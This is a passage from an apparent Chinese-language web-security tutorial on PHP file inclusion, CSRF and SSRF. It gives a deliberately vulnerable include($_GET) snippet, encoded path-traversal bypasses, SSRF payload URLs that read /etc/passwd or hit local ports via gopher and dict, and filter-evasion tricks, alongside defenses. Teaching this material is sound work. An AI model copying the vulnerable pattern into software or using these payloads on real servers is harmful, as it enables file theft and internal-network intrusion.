 include_once:和 include 类似,不同处在于 include_once 会检查这个文件是否已经被导入,如果已导入,下文便不会再导入,直面 once 理解就是只导入一次。

 require:包含并运行指定的文件,包含文件发生错误时,程序直接终止执行。

 require_once:和 require 类似,不同处在于 require_once 只导入一次。

3、漏洞分类

3.1 本地文件包含

  本地文件包含,通过意思就能够理解,就是在条件允许的情况下,所谓的条件允许也就是安全防护没做到位,通过这个条件对文件路径加载文件,就形成了本地文件包含。

漏洞代码

例如php代码:

<?php

$filename=$_GET[name];

include($filename);

?>

index.php,通过文件包含进行执行,就形成了本地文件包含,若这个name参数能够被用户控制,那么就形成了本地文件包含漏洞

3.2 远程文件包含

远程文件包含漏洞导致的原因和本地文件包含漏洞造成的原因是一样的,只不过远程文件包含漏洞是利用外部的服务器中的文件进行执行,就形成了远程文件包含漏洞。

但是前提是需要在php.ini中的配置选项中allow_url_fopen和allow_url_include为ON。

漏洞代码

例如php代码:

<?php

$filename=$_GET[name];

include($filename);

?>

服务器代码

服务器php代码:

<?php phpinfo();?>

攻击者访问服务器网站,并把主机上的本地文件进行远程文件包含。

4、常用协议

file:// — 访问本地文件系统

http:// — 访问 HTTP(s) 网址

ftp:// — 访问 FTP(s) URLs

php:// — 访问各个输入/输出流(I/O streams)

zlib:// — 压缩流

data:// — 数据(RFC 2397)

5、绕过方式

%2e%2e%2f   等同于../

%2f   等同于../

%2e%2e   等同于../

%2e%2e%5c   等同于..\

%2e%2e\   等同于..\

..%5c   等同于..\

..%255c   等同于..\

%252e%252e%255c   等同于..\

6、危害

读取WEB服务器上的配置文件以及WEB服务器上的敏感文件,并且若和webshell联动,并将恶意代码执行将造成更大的危害,通常来说远程文件包含漏洞危害更大。

7、防御方式

要想解决本地文件包含漏洞,应该尽量避免使用含有动态的变量,尤其是用户可以控制的变量,一种变通方式,就是使用枚举,将可能用到的file的值枚举出来,也就避免了任意文件包含的风险。

8、文件包含的特点

1、无条件解析PHP代码

原来含有<?php phpinfo();?>代码的php文件后缀名修改为jpg的时候,依旧执行了php代码。

2、无视文件扩展名

文件包含漏洞在读取源码的时候,若遇到符合PHP语法规范的代码,将会无条件执行。

1.9 csrf漏洞

CSRF(Cross-site Request Forgery)跨站请求伪造(或者缩写为XSRF),也被称为"One Click Attack"或"Session Riding"(曾被列为互联网 20 大安全隐患之一),是一种借助社工对网站身份的恶意利用。不大流行,但如果被成功利用,危害更大。

1、原理

跨站请求伪造(英语: Cross-site request forgery),也被称为one- click attack或者session riding,通常缩写为CSRF或者XSRF,是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨网站脚本(XSS) 相比,XSS利用的是用户对指定网站的信任,CSRF利用的是网站对用户网页浏览器的信任。

CSRF(Cross-site Request Forgery)跨站请求伪造(或者缩写为XSRF),也被称为"One Click Attack"或"Session Riding"(曾被列为互联网 20 大安全隐患之一),是一种借助社工对网站身份的恶意利用。

2、CSRF类型

1. GET请求型CSRF

        只需要构造URL,然后诱导受害者访问利用。

2. POST请求型CSRF

        构造自动提交的表单,诱导受惠者访问或者点击。

3、CSRF漏洞危害

以受害者的名义发送邮件、发消息、盗取受害者的账号,甚至购买商品、虚拟货币转账、修改受害者的网络配置(比如修改路由器DNS、重置路由器密码)等等操作。造成的问题包括:个人隐私的泄露、机密资料的泄露、用户甚至企业的财产安全;

 一句话概括CSRF的危害:盗用受害者的身份,受害者能做什么,攻击者就能以受害者的身份做什么。

4、利用思路

 寻找有权限进行增删改查操作的功能点:比如修改密码、修改个人信息等等,通过burp构造HTML,修改HTML表单中某些参数,使用浏览器打开该HTML,点击提交表单后查看响应结果,看该操作是否成功执行。

5、利用攻击

CSRFTester

URL: https://www.owasp.org/index.php/File:CSRFTester-1.0.zip

6、防御

1、token随机值防御

在请求地址中添加token并验证;

CSRF之所以能够成功,是因为黑客可以完全伪造用户的请求,该请求中所有的用户验证信息都是存储在cookie中,因此黑客可以在不知道这些验证信息的情况下直接利用用户自己的cookie来通过验证。

要低于CSRF,关键在于在请求中放入和黑客所不能伪造的信息,并且该信息不存在于cookie中。可以在http请求中以参数的形式加入一个随机产生的token,并且在服务器端建立一个拦截器来验证这个token值,如果请求中没有token值或者token不正确,则可以认为可能是CSRF攻击而拒绝请求。

2、  referer值校验

增加HTTP referer的校验:

根据http协议,在http头部中有一个字段叫referer,它记录了该http请求的来源地址。如果referer记录的不是同一个浏览器的请求,那么就可能是攻击者伪造的恶意链接,可以根据此方法来防范CSRF攻击。

3、验证码

在关键位置进行验证码验证。

1.10  SSRF

1、SSRF原理

SSRF全称:Server-Side Request Forgery,即 服务器端请求伪造。是一个由攻击者构造请求,在目标服务端执行的一个安全漏洞。攻击者可以利用该漏洞使服务器端向攻击者构造的任意域发出请求,目标通常是从外网无法访问的内部系统。简单来说就是利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网进行攻击。

2、攻击方式

当攻击者想要访问服务器B上的服务,但是由于存在防火墙或者服务器B是属于内网主机等原因导致攻击者无法直接访问。如果服务器A存在SSRF漏洞,这时攻击者可以借助服务器A来发起SSRF攻击,通过服务器A向主机B发起请求,达到攻击内网的目的。

示例

某网站有一个在线加载功能可以把指定的远程文章加载到本地,链接如下:

http://www.xxx.com/article.php?url=https://blog.csdn.net/qq_43531669/article/details/112498646

假如系统没有对url参数进行任何的检查,就可以构造其他的请求,例如:

http://www.xxx.com/article.php?url=http://127.0.0.1:22

http://www.xxx.com/article.php?url=file:///etc/passwd

http://www.xxx.com/article.php?url=dict://127.0.0.1:22/data:data2 (dict可以向服务端口请求data data2)

http://www.xxx.com/article.php?url=gopher://127.0.0.1:2233/_test (向2233端口发送数据test,同样可以发送POST请求)

3、漏洞的危害

1、对外网、服务器所在内网、本地进行端口扫描

2、向内部任意主机的任意端口发送payload来攻击内网服务

3、DOS攻击(请求大文件,始终保持连接Keep-Alive Always)

4、攻击内网的web应用,如直接SQL注入、XSS攻击等

5、利用file、gopher、dict协议读取本地文件、执行命令等

6、可以无视网站CDN

4、绕过方式

部分存在漏洞,或者可能产生SSRF的功能中做了白名单或者黑名单的处理,来达到阻止对内网服务和资源的攻击和访问。因此想要达到SSRF的攻击,需要对请求的参数地址做相关的绕过处理,常见的绕过方式如下:

4.1 绕过限制为某种域名

利用@,当网站限制只能访问 http://www.xxx.com类型的域名时,可以采用http基本身份认证的方式绕过,如:http://www.xxx.com@www.xxc.com

在对@解析域名中,不同的处理函数存在处理差异,例如:

http://www.aaa.com@www.bbb.com@www.ccc.com

在PHP的parse_url中会识别 www.ccc.com,而libcurl则识别为 www.bbb.com。

4.2、绕过限制请求IP不为内网地址

(1)采用短网址绕过

(2)利用特殊域名,xip.io可以指向任意域名(原理是DNS解析),即 127.0.0.1.xip.io,可以解析为127.0.0.1

(3)采用进制转换,127.0.0.1 八进制:0177.0.0.1;十六进制:0x7f.0.0.1;十进制:2130706433

(4)利用[::],http://[::]:80/ 会解析为 http://127.0.0.1

(5)添加端口号,http://127.0.0.1:8080

(6)利用句号,127。0。0。1 会解析为 127.0.0.1

(7)采用302跳转

4.3 限制请求只为http协议

(1)采用302跳转

(2)采用短地址

5、防御SSRF

1、禁止跳转

2、禁用除http和https外的协议,如:file://、gopher://、dict://等。

3、限制请求的端口为http常用的端口,如 80、443、8080。

4、统一错误信息,避免用户可以根据错误信息来判断远程服务器的端口状态。

5、对请求地址设置白名单或者限制内网IP,以防止对内网进行攻击。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值